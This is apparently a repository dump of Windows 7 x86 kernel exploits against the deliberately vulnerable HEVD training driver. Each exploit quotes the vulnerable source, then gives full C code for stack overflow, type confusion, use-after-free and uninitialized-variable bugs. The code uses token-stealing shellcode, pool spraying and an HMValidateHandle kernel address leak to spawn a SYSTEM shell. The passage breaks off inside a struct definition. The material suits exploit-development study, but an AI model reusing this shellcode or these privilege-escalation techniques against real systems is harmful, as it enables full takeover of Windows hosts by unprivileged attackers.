SECURE 21 | // Secure Note: This is secure because the developer is passing a size 22 | // equal to size of KernelBuffer to RtlCopyMemory()/memcpy(). Hence, 23 | // there will be no overflow 24 | RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); 25 | #else 26 | DbgPrint("[+] Triggering Stack Overflow\n"); 27 | 28 | // Vulnerability Note: This is a vanilla Stack based Overflow vulnerability 29 | // because the developer is passing the user supplied size directly to 30 | // RtlCopyMemory()/memcpy() without validating if the size is greater or 31 | // equal to the size of KernelBuffer 32 | RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); 33 | #endif 34 | } 35 | __except (EXCEPTION_EXECUTE_HANDLER) { 36 | Status = GetExceptionCode(); 37 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 38 | } 39 | 40 | return Status; 41 | } 42 | 43 | ''' 44 | Again, great work here on showing the vulnerability but 45 | also showing what the fix would be. RtlCopyMemory takes 46 | a pointer to the kernel buffer, a pointer to the input 47 | buffer and an integer to know how many bytes to copy over. 48 | Clearly there is an issue here, in the vulnerable version 49 | the buffer size is based in the input buffer size whereas 50 | in the secure version the size is limited to the size of the kernel buffer. 51 | If we call this driver function and pass it a buffer which is larger 52 | than the kernel buffer we should get some kind of exploit primitive! 53 | ''' 54 | 55 | <----------------- 56 | To Put it simply The buffer gets allocated onto the stack, giving the attacker the opportunity, 57 | to overwrite the return instruction pointer (rip) & getting full control over the execution flow. 58 | ----------------> 59 | 60 | 61 | */ 62 | 63 | #include "stdafx.h" 64 | #include 65 | #include 66 | #include 67 | 68 | unsigned char win7x86pl[] = { 69 | 0x60, 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, 0x8B, 0x40, 0x50, 0x89, 0xC1, 70 | 0xBA, 0x04, 0x00, 0x00, 0x00, 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, 0x2D, 71 | 0xB8, 0x00, 0x00, 0x00, 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, 0x75, 0xED, 72 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, 0x8B, 0xB9, 0xF8, 0x00, 0x00, 0x00, 73 | 0x83, 0xE2, 0xF8, 0x83, 0xE7, 0x03, 0x01, 0xFA, 0x89, 0x91, 0xF8, 0x00, 74 | 0x00, 0x00, 0x61, 0x31, 0xC0, 0x5D, 0xC2, 0x08, 0x00 75 | }; 76 | 77 | #define offset 2080 78 | 79 | #define ioctl CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS) 80 | 81 | int main() 82 | { 83 | HANDLE dev = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 84 | GENERIC_READ | GENERIC_WRITE, 85 | NULL, 86 | NULL, 87 | OPEN_EXISTING, 88 | NULL, 89 | NULL 90 | ); 91 | if (dev == INVALID_HANDLE_VALUE) { 92 | return -1; 93 | } 94 | 95 | LPVOID payload_ptr = NULL; 96 | printf("device opened Handle obtained at: 0x%p\n", &dev); 97 | LPVOID shellc_ptr = VirtualAlloc( 98 | 0, 99 | sizeof(win7x86pl), 100 | MEM_RESERVE | MEM_COMMIT, 101 | PAGE_EXECUTE_READWRITE 102 | ); 103 | if (shellc_ptr) 104 | memcpy(shellc_ptr, win7x86pl, sizeof(win7x86pl)); 105 | payload_ptr = shellc_ptr; 106 | printf("allocated payload placed at: 0x%p\n", &payload_ptr); 107 | if (payload_ptr == NULL) { 108 | return -1; 109 | } 110 | const size_t bufSize = offset + sizeof(DWORD); 111 | char* lpInBuffer = (char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, bufSize); 112 | RtlFillMemory(lpInBuffer, bufSize, 0x41); 113 | DWORD* address_field = (DWORD*)(lpInBuffer + offset); 114 | *address_field = (DWORD)(payload_ptr); 115 | DWORD size_returned = 0; 116 | BOOL is_ok = DeviceIoControl(dev, 117 | ioctl, 118 | lpInBuffer, 119 | offset + sizeof(DWORD), 120 | NULL, 121 | 0, 122 | &size_returned, 123 | NULL 124 | ); 125 | printf("Triggering OverFlow....\n\n\n\n"); 126 | HeapFree(GetProcessHeap(), 0, (LPVOID)lpInBuffer); 127 | system("cmd.exe"); 128 | CloseHandle(dev); 129 | system("pause"); 130 | return 0; 131 | } 132 | 133 | 134 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-TypeConfX86Win7.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 4 | NTSTATUS TriggerTypeConfusion(IN PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject) { 5 | NTSTATUS Status = STATUS_UNSUCCESSFUL; 6 | PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL; 7 | 8 | PAGED_CODE(); 9 | 10 | __try { 11 | // Verify if the buffer resides in user mode 12 | ProbeForRead(UserTypeConfusionObject, 13 | sizeof(USER_TYPE_CONFUSION_OBJECT), 14 | (ULONG)__alignof(USER_TYPE_CONFUSION_OBJECT)); 15 | 16 | // Allocate Pool chunk 17 | KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT) 18 | ExAllocatePoolWithTag(NonPagedPool, 19 | sizeof(KERNEL_TYPE_CONFUSION_OBJECT), 20 | (ULONG)POOL_TAG); 21 | 22 | if (!KernelTypeConfusionObject) { 23 | // Unable to allocate Pool chunk 24 | DbgPrint("[-] Unable to allocate Pool chunk\n"); 25 | 26 | Status = STATUS_NO_MEMORY; 27 | return Status; 28 | } 29 | else { 30 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 31 | DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); 32 | DbgPrint("[+] Pool Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT)); 33 | DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject); 34 | } 35 | 36 | DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject); 37 | DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject); 38 | DbgPrint("[+] KernelTypeConfusionObject Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT)); 39 | 40 | KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID; 41 | KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType; 42 | 43 | DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID); 44 | DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType); 45 | 46 | 47 | #ifdef SECURE 48 | // Secure Note: This is secure because the developer is properly setting 'Callback' 49 | // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer 50 | // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as 51 | // parameter 52 | KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback; 53 | Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject); 54 | #else 55 | DbgPrint("[+] Triggering Type Confusion\n"); 56 | 57 | // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper 58 | // use of the 'UNION' construct. The developer has not set the 'Callback' member of 59 | // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of 60 | // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as 61 | // parameter 62 | Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject); 63 | #endif 64 | 65 | DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n"); 66 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 67 | DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject); 68 | 69 | // Free the allocated Pool chunk 70 | ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG); 71 | KernelTypeConfusionObject = NULL; 72 | } 73 | __except (EXCEPTION_EXECUTE_HANDLER) { 74 | Status = GetExceptionCode(); 75 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 76 | } 77 | 78 | return Status; 79 | } 80 | 81 | 82 | <----------------- 83 | To Put it simply the driver Costruct a kernel object and calls the init function with a pointer (part of the object struct) 84 | then the init in turn calls the pointer provided without verification, we pass a pointer to our shell code to trigger 85 | code execution. 86 | ----------------> 87 | 88 | */ 89 | 90 | 91 | #include 92 | #include 93 | #include 94 | #include 95 | #include 96 | 97 | int main() 98 | { 99 | HANDLE dev = CreateFileA( 100 | "\\\\.\\HackSysExtremeVulnerableDriver", 101 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, 102 | FILE_SHARE_READ | FILE_SHARE_WRITE, 103 | NULL, 104 | OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 105 | NULL 106 | ); 107 | if (dev == INVALID_HANDLE_VALUE) { 108 | return 1; 109 | } 110 | 111 | DWORD u = 0; 112 | 113 | char pl[60] = 114 | "\x60" 115 | "\x64\xA1\x24\x01\x00\x00" 116 | "\x8B\x40\x50" 117 | "\x89\xC1" 118 | "\x8B\x98\xF8\x00\x00\x00" 119 | "\xBA\x04\x00\x00\x00" 120 | "\x8B\x80\xB8\x00\x00\x00" 121 | "\x2D\xB8\x00\x00\x00" 122 | "\x39\x90\xB4\x00\x00\x00" 123 | "\x75\xED" 124 | "\x8B\x90\xF8\x00\x00\x00" 125 | "\x89\x91\xF8\x00\x00\x00" 126 | "\x61" 127 | "\x31\xC0" 128 | "\xC3" 129 | ; 130 | LPVOID pla = VirtualAlloc( 131 | NULL, 132 | sizeof(pl), 133 | MEM_COMMIT | MEM_RESERVE, 134 | PAGE_EXECUTE_READWRITE 135 | ); 136 | memcpy(pla, pl, sizeof(pl)); 137 | //LPVOID plAddress = &pla; 138 | 139 | typedef struct _OBJ { 140 | ULONG_PTR id; 141 | ULONG_PTR Type; 142 | } OBJ, *POBJ; 143 | 144 | POBJ obj = NULL; 145 | obj = (PTCUOBJ)HeapAlloc( 146 | GetProcessHeap(), 147 | HEAP_ZERO_MEMORY, 148 | sizeof(OBJ) 149 | ); 150 | 151 | obj->id = (ULONG_PTR)0x1; 152 | obj->Type = (ULONG_PTR)pla; 153 | 154 | DeviceIoControl( 155 | dev, 0x222023, 156 | (LPVOID)obj, sizeof(Tcuobj), 157 | NULL, 0, &u, (LPOVERLAPPED)NULL 158 | ); 159 | 160 | system("cmd.exe"); 161 | //HeapFree(GetProcessHeap(), NULL, (LPVOID)&Tcuobj); 162 | //Tcuobj = NULL; 163 | CloseHandle(dev); 164 | system("pause"); 165 | return 0; 166 | } 167 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-Uaf-Win7x86.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 4 | NTSTATUS FreeUaFObject() { 5 | NTSTATUS Status = STATUS_UNSUCCESSFUL; 6 | 7 | PAGED_CODE(); 8 | 9 | __try { 10 | if (g_UseAfterFreeObject) { 11 | DbgPrint("[+] Freeing UaF Object\n"); 12 | DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); 13 | DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject); 14 | 15 | #ifdef SECURE 16 | // Secure Note: This is secure because the developer is setting 17 | // 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed 18 | ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); 19 | 20 | g_UseAfterFreeObject = NULL; 21 | #else 22 | // Vulnerability Note: This is a vanilla Use After Free vulnerability 23 | // because the developer is not setting 'g_UseAfterFreeObject' to NULL. 24 | // Hence, g_UseAfterFreeObject still holds the reference to stale pointer 25 | // (dangling pointer) 26 | ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG); 27 | #endif 28 | 29 | Status = STATUS_SUCCESS; 30 | } 31 | } 32 | __except (EXCEPTION_EXECUTE_HANDLER) { 33 | Status = GetExceptionCode(); 34 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 35 | } 36 | 37 | return Status; 38 | } 39 | 40 | ''' 41 | Fairly straight forward, this frees the pool chunk by referencing the tag value. 42 | This is the function that contains the vulnerability in that "g_UseAfterFreeObject" 43 | is not set to null after the object is freed and so retains a stale object pointer. 44 | ''' 45 | 46 | <----------------- 47 | To Put it simply The driver lets us initialize a kernel object with a pointer that is later freed 48 | (that means we can change the content of that memory location) and then we can call a callback on that freed memory (use it) 49 | with a little extra memory manipulation we can replace the content in that address to a pointer to our shell code again leading to 50 | code execution. 51 | ----------------> 52 | 53 | 54 | */ 55 | 56 | 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | 63 | #define IoCo 1 64 | 65 | 66 | typedef struct _UNICODE_STRING { 67 | USHORT Length; 68 | USHORT MaximumLength; 69 | PWSTR Buffer; 70 | } UNICODE_STRING, *PUNICODE_STRING; 71 | 72 | typedef struct _OBJECT_ATTRIBUTES { 73 | ULONG Length; 74 | HANDLE RootDirectory; 75 | UNICODE_STRING *ObjectName; 76 | ULONG Attributes; 77 | PVOID SecurityDescriptor; 78 | PVOID SecurityQualityOfService; 79 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 80 | 81 | 82 | typedef NTSTATUS(__stdcall* pfNtAllocateReserveObject)( 83 | _Out_ PHANDLE hObject, 84 | _In_ POBJECT_ATTRIBUTES ObjectAttributes, 85 | _In_ DWORD ObjectType 86 | ); 87 | 88 | #define IO_COMPLETION_OBJECT 1 89 | 90 | typedef struct _FAKE_OBJECT { 91 | CHAR buffer[0x58]; 92 | } FAKE_OBJECT, *PFAKE_OBJECT; 93 | 94 | HANDLE ReserveObjectArrayA[10000]; 95 | HANDLE ReserveObjectArrayB[5000]; 96 | 97 | 98 | VOID SprayNonPagedPool() { 99 | UINT32 i = 0; 100 | HMODULE hModule = NULL; 101 | 102 | hModule = LoadLibraryA("ntdll.dll"); 103 | 104 | if (!hModule) { 105 | exit(EXIT_FAILURE); 106 | } 107 | 108 | pfNtAllocateReserveObject NtAllocateReserveObject = (pfNtAllocateReserveObject)GetProcAddress( 109 | hModule, "NtAllocateReserveObject"); 110 | 111 | for (i = 0; i < 10000; i++) { 112 | NtAllocateReserveObject(&ReserveObjectArrayA[i], 0, IO_COMPLETION_OBJECT); 113 | } 114 | 115 | for (i = 0; i < 5000; i++) { 116 | NtAllocateReserveObject(&ReserveObjectArrayB[i], 0, IO_COMPLETION_OBJECT); 117 | } 118 | } 119 | 120 | VOID CreateHolesInNonPagedPool() { 121 | UINT32 i = 0; 122 | 123 | for (i = 0; i < 5000; i += 2) { 124 | if (!CloseHandle(ReserveObjectArrayB[i])) { 125 | } 126 | } 127 | } 128 | 129 | VOID FreeObjects() { 130 | UINT32 i = 0; 131 | 132 | for (i = 0; i < 10000; i++) { 133 | if (!CloseHandle(ReserveObjectArrayA[i])) { 134 | } 135 | } 136 | 137 | for (i = 1; i < 5000; i += 2) { 138 | if (!CloseHandle(ReserveObjectArrayB[i])) { 139 | } 140 | } 141 | } 142 | 143 | 144 | int main() 145 | { 146 | 147 | UINT32 i = 0; 148 | HANDLE hFile = NULL; 149 | ULONG BytesReturned; 150 | PFAKE_OBJECT FakeObject = NULL; 151 | HANDLE dev = CreateFileA( 152 | "\\\\.\\HackSysExtremeVulnerableDriver", 153 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, FILE_SHARE_READ | FILE_SHARE_WRITE, 154 | NULL, 155 | OPEN_EXISTING, 156 | FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 157 | NULL 158 | ); 159 | if (dev == INVALID_HANDLE_VALUE) { 160 | return 1; 161 | } 162 | 163 | char pl[66] = 164 | "\x60" 165 | "\x64\xA1\x24\x01\x00\x00" 166 | "\x8B\x40\x50" 167 | "\x89\xC1" 168 | "\x8B\x98\xF8\x00\x00\x00" 169 | "\xBA\x04\x00\x00\x00" 170 | "\x8B\x80\xB8\x00\x00\x00" 171 | "\x2D\xB8\x00\x00\x00" 172 | "\x39\x90\xB4\x00\x00\x00" 173 | "\x75\xED" 174 | "\x8B\x90\xF8\x00\x00\x00" 175 | "\x89\x91\xF8\x00\x00\x00" 176 | "\x61" 177 | "\x31\xC0" 178 | "\xC3" 179 | ; 180 | 181 | LPVOID pla = VirtualAlloc( 182 | NULL, 183 | sizeof(pl), 184 | MEM_COMMIT | MEM_RESERVE, 185 | PAGE_EXECUTE_READWRITE 186 | ); 187 | memcpy(pla, pl, sizeof(pl)); 188 | LPVOID PayloadPtr = &pla; 189 | 190 | 191 | FakeObject = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), 192 | HEAP_ZERO_MEMORY, 193 | sizeof(FAKE_OBJECT)); 194 | RtlFillMemory((PVOID)FakeObject, sizeof(FAKE_OBJECT), 0x41); 195 | 196 | FakeObject->buffer[sizeof(FakeObject->buffer) - 1] = '\0'; 197 | *(PULONG)FakeObject = (ULONG)pla; 198 | 199 | SprayNonPagedPool(); 200 | CreateHolesInNonPagedPool(); 201 | 202 | // DebugBreak(); 203 | 204 | 205 | DWORD bytesReturned = 0; 206 | // Create 207 | DeviceIoControl( 208 | dev, 209 | 0x222013, 210 | NULL, 211 | 0, 212 | NULL, 213 | 0, 214 | &bytesReturned, 215 | (LPOVERLAPPED)NULL 216 | ); 217 | // Free 218 | DeviceIoControl( 219 | dev, 220 | 0x22201B, 221 | NULL, 222 | 0, 223 | NULL, 224 | 0, 225 | &bytesReturned, 226 | (LPOVERLAPPED)NULL 227 | ); 228 | 229 | 230 | 231 | byte Buff[0x58] = { 0 }; 232 | memcpy(Buff, PayloadPtr, 4); 233 | memset(Buff + 4, '\x42', 0x54); 234 | memset(Buff + 0x57, '\x00', 1); 235 | 236 | // Spray.. 237 | for (int i = 0; i < 5000; i++) { 238 | DeviceIoControl( 239 | dev, 240 | 0x22201F, 241 | Buff, 242 | sizeof(Buff), 243 | NULL, 244 | 0, 245 | &bytesReturned, 246 | (LPOVERLAPPED)NULL 247 | ); 248 | } 249 | 250 | 251 | DeviceIoControl( 252 | dev, 253 | 0x222017, 254 | NULL, 255 | 0, 256 | NULL, 257 | 0, 258 | &bytesReturned, 259 | (LPOVERLAPPED)NULL 260 | ); 261 | 262 | system("cmd.exe"); 263 | CloseHandle(dev); 264 | system("pause"); 265 | return 0; 266 | } 267 | -------------------------------------------------------------------------------- /HEVD-Vanilla-Bug-Class's/HEVD-UninitializedStackVariableWin7x86.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 4 | 5 | NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) { 6 | ULONG UserValue = 0; 7 | ULONG MagicValue = 0xBAD0B0B0; 8 | NTSTATUS Status = STATUS_SUCCESS; 9 | 10 | #ifdef SECURE 11 | // Secure Note: This is secure because the developer is properly initializing 12 | // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling 13 | // the callback 14 | UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0}; 15 | #else 16 | // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability 17 | // because the developer is not initializing 'UNINITIALIZED_STACK_VARIABLE' structure 18 | // before calling the callback when 'MagicValue' does not match 'UserValue' 19 | UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; 20 | #endif 21 | 22 | PAGED_CODE(); 23 | 24 | __try { 25 | // Verify if the buffer resides in user mode 26 | ProbeForRead(UserBuffer, 27 | sizeof(UNINITIALIZED_STACK_VARIABLE), 28 | (ULONG)__alignof(UNINITIALIZED_STACK_VARIABLE)); 29 | 30 | // Get the value from user mode 31 | UserValue = *(PULONG)UserBuffer; 32 | 33 | DbgPrint("[+] UserValue: 0x%p\n", UserValue); 34 | DbgPrint("[+] UninitializedStackVariable Address: 0x%p\n", &UninitializedStackVariable); 35 | 36 | // Validate the magic value 37 | if (UserValue == MagicValue) { 38 | UninitializedStackVariable.Value = UserValue; 39 | UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback; 40 | } 41 | 42 | DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.Value); 43 | DbgPrint("[+] UninitializedStackVariable.Callback: 0x%p\n", UninitializedStackVariable.Callback); 44 | 45 | #ifndef SECURE 46 | DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n"); 47 | #endif 48 | 49 | // Call the callback function 50 | if (UninitializedStackVariable.Callback) { 51 | UninitializedStackVariable.Callback(); 52 | } 53 | } 54 | __except (EXCEPTION_EXECUTE_HANDLER) { 55 | Status = GetExceptionCode(); 56 | DbgPrint("[-] Exception Code: 0x%X\n", Status); 57 | } 58 | 59 | return Status; 60 | } 61 | 62 | ''' 63 | If we pass the driver function the correct magic value then it initializes 64 | the variable and callback parameters. If we pass an incorrect value then this does not happen. 65 | The problem here is that the variable is not set to a specific value when it is defined. 66 | As the variable resides on the stack it will contain whatever random junk is left behind by previous function calls. 67 | Notice that the code has a check (if UninitializedStackVariable.Callback...) which does nothing to protect it from a crash. 68 | ''' 69 | 70 | <----------------- 71 | To Put it simply The driver Calls a callback on an-uninitialized value, offering the attaker the 72 | chance to perform heap spay in order to facilitate that memory address with a pointer to our allocated shellcode. 73 | ----------------> 74 | 75 | */ 76 | 77 | #include 78 | #include 79 | #include 80 | #include 81 | #include 82 | #include 83 | 84 | int main() 85 | { 86 | HANDLE dev = CreateFileA( 87 | "\\\\.\\HackSysExtremeVulnerableDriver", 88 | FILE_READ_ACCESS | FILE_WRITE_ACCESS, 89 | FILE_SHARE_READ | FILE_SHARE_WRITE, 90 | NULL, 91 | OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_ATTRIBUTE_NORMAL, 92 | NULL 93 | ); 94 | if (dev == INVALID_HANDLE_VALUE) { 95 | return 1; 96 | } 97 | 98 | char Buff[20] = "\xDD\xDD\xDD\xDD"; 99 | DWORD outBytes = 0; 100 | 101 | typedef NTSTATUS(__stdcall *pfNtMapUserPhysicalPages)( 102 | PINT BaseAddress, 103 | UINT32 NumberOfPages, 104 | PBYTE PageFrameNumbers 105 | ); 106 | 107 | pfNtMapUserPhysicalPages NtMapUserPhysicalPages = (pfNtMapUserPhysicalPages)GetProcAddress( 108 | GetModuleHandleW(L"ntdll.dll"), "NtMapUserPhysicalPages"); 109 | 110 | char pl[60] = 111 | "\x60" 112 | "\x64\xA1\x24\x01\x00\x00" 113 | "\x8B\x40\x50" 114 | "\x89\xC1" 115 | "\x8B\x98\xF8\x00\x00\x00" 116 | "\xBA\x04\x00\x00\x00" 117 | "\x8B\x80\xB8\x00\x00\x00" 118 | "\x2D\xB8\x00\x00\x00" 119 | "\x39\x90\xB4\x00\x00\x00" 120 | "\x75\xED" 121 | "\x8B\x90\xF8\x00\x00\x00" 122 | "\x89\x91\xF8\x00\x00\x00" 123 | "\x61" 124 | "\x31\xC0" 125 | "\xC3" 126 | ; 127 | LPVOID pla = VirtualAlloc( 128 | NULL, 129 | sizeof(pl), 130 | MEM_COMMIT | MEM_RESERVE, 131 | PAGE_EXECUTE_READWRITE 132 | ); 133 | memcpy(pla, pl, sizeof(pl)); 134 | LPVOID plAddress = &pla; 135 | char HeapSpray[0x1000] = { 0 }; 136 | int BaseAddress = 0; 137 | for (int j = 0; j < 0x1000 / 4; j++) { 138 | memcpy(HeapSpray + (j*4), plAddress, 4); 139 | } 140 | 141 | NtMapUserPhysicalPages(&BaseAddress,1024,(PBYTE)&HeapSpray); 142 | 143 | DeviceIoControl(dev, 0x22202F, &Buff, sizeof(Buff), NULL, 0, &outBytes, (LPOVERLAPPED)NULL); 144 | system("cmd.exe"); 145 | CloseHandle(dev); 146 | system("pause"); 147 | return 0; 148 | } 149 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2017 Yn 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /Primitives/HMValidateBitmap.cc: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | 4 | leak lpszMenuName using HMValidateHandle, that is allocated on the same pool region 5 | as the bitmap object, in order to later use in an arbitrary overwrite bug. 6 | 7 | Ref: 8 | https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn/blob/master/Kernel_RS2_WWW_GDI_64.ps1 9 | https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp 10 | Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan 11 | LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila 12 | 13 | <---- 14 | 15 | Copy & usage of this software are allowed without any restrictions. 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | 24 | ----> 25 | 26 | */ 27 | 28 | #pragma once 29 | #include "stdafx.h" 30 | #include 31 | #include 32 | #include 33 | 34 | #pragma comment(lib, "Gdi32.lib") 35 | 36 | #include 37 | 38 | typedef void*(NTAPI *lHMValidateHandle)( 39 | HWND h, 40 | int type 41 | ); 42 | 43 | int g = 1; 44 | 45 | typedef struct _hBmp { 46 | HBITMAP hBmp; 47 | DWORD64 kAddr; 48 | PUCHAR pvScan0; 49 | } HBMP, *PHBMP; 50 | 51 | 52 | LRESULT 53 | CALLBACK MainWProc( 54 | HWND hWnd, UINT uMsg, 55 | WPARAM wParam, LPARAM lParam 56 | ) 57 | { 58 | return DefWindowProc(hWnd, uMsg, wParam, lParam); 59 | } 60 | 61 | lHMValidateHandle pHmValidateHandle = NULL; 62 | 63 | // https://github.com/sam-b/windows_kernel_address_leaks/blob/master/HMValidateHandle/HMValidateHandle/HMValidateHandle.cpp 64 | BOOL 65 | GetHMValidateHandle( 66 | ) 67 | { 68 | HMODULE hUser32 = LoadLibraryA("user32.dll"); 69 | if (hUser32 == NULL) { 70 | printf("error: %d\n", GetLastError()); 71 | exit(GetLastError()); 72 | } 73 | 74 | BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu"); 75 | if (pIsMenu == NULL) { 76 | printf("error: %d\n", GetLastError()); 77 | exit(GetLastError()); 78 | } 79 | unsigned int uiHMValidateHandleOffset = 0; 80 | for (unsigned int i = 0; i < 0x1000; i++) { 81 | BYTE* test = pIsMenu + i; 82 | if (*test == 0xe8) { 83 | uiHMValidateHandleOffset = i + 1; 84 | break; 85 | } 86 | } 87 | if (uiHMValidateHandleOffset == 0) { 88 | printf("error: %d\n", GetLastError()); 89 | exit(GetLastError()); 90 | } 91 | 92 | unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset); 93 | unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr; 94 | pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11); 95 | return TRUE; 96 | } 97 | 98 | PUCHAR 99 | GetNtos( 100 | ) 101 | { 102 | // defines. 103 | typedef enum _SYSTEM_INFORMATION_CLASS { 104 | SystemBasicInformation = 0, 105 | SystemPerformanceInformation = 2, 106 | SystemTimeOfDayInformation = 3, 107 | SystemProcessInformation = 5, 108 | SystemProcessorPerformanceInformation = 8, 109 | SystemModuleInformation = 11, 110 | SystemInterruptInformation = 23, 111 | SystemExceptionInformation = 33, 112 | SystemRegistryQuotaInformation = 37, 113 | SystemLookasideInformation = 45 114 | } SYSTEM_INFORMATION_CLASS; 115 | 116 | typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 117 | HANDLE Section; 118 | PVOID MappedBase; 119 | PVOID ImageBase; 120 | ULONG ImageSize; 121 | ULONG Flags; 122 | USHORT LoadOrderIndex; 123 | USHORT InitOrderIndex; 124 | USHORT LoadCount; 125 | USHORT OffsetToFileName; 126 | UCHAR FullPathName[256]; 127 | } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; 128 | 129 | typedef struct _SYSTEM_MODULE_INFORMATION { 130 | ULONG NumberOfModules; 131 | 